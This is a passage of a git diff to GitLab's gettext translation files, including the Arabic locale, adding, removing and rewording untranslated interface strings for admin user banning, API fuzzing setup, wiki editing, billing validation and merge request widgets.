msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/ar_SA/gitlab.po b/locale/ar_SA/gitlab.po
index ce9c49f26ea..4c470e8d477 100644
--- a/locale/ar_SA/gitlab.po
+++ b/locale/ar_SA/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ar\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:19\n"
+"PO-Revision-Date: 2021-06-01 20:35\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -415,6 +415,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -817,9 +826,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -922,10 +928,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -1072,6 +1078,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -1129,9 +1141,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1276,9 +1285,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1342,9 +1357,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1780,6 +1792,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1801,6 +1816,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1870,9 +1888,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1885,6 +1900,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1930,9 +1948,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1972,30 +1987,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -2011,7 +2020,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -2038,6 +2047,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -2305,6 +2323,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,6 +2602,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2746,9 +2770,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2761,9 +2782,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2788,9 +2806,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2836,6 +2851,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2854,6 +2872,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2902,6 +2923,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2932,6 +2968,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2986,6 +3025,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -3067,6 +3109,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -3082,6 +3133,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -3094,6 +3151,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -3118,6 +3178,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -3130,6 +3193,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -3175,9 +3241,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -3220,9 +3283,6 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3592,9 +3652,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3697,6 +3754,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3910,6 +3970,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -4003,9 +4066,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -4075,7 +4135,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4564,6 +4624,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4594,16 +4657,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -5194,7 +5254,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -5263,6 +5323,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5419,6 +5482,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5437,6 +5503,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5452,6 +5521,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5470,6 +5542,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5485,6 +5560,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5497,6 +5593,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5506,6 +5605,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
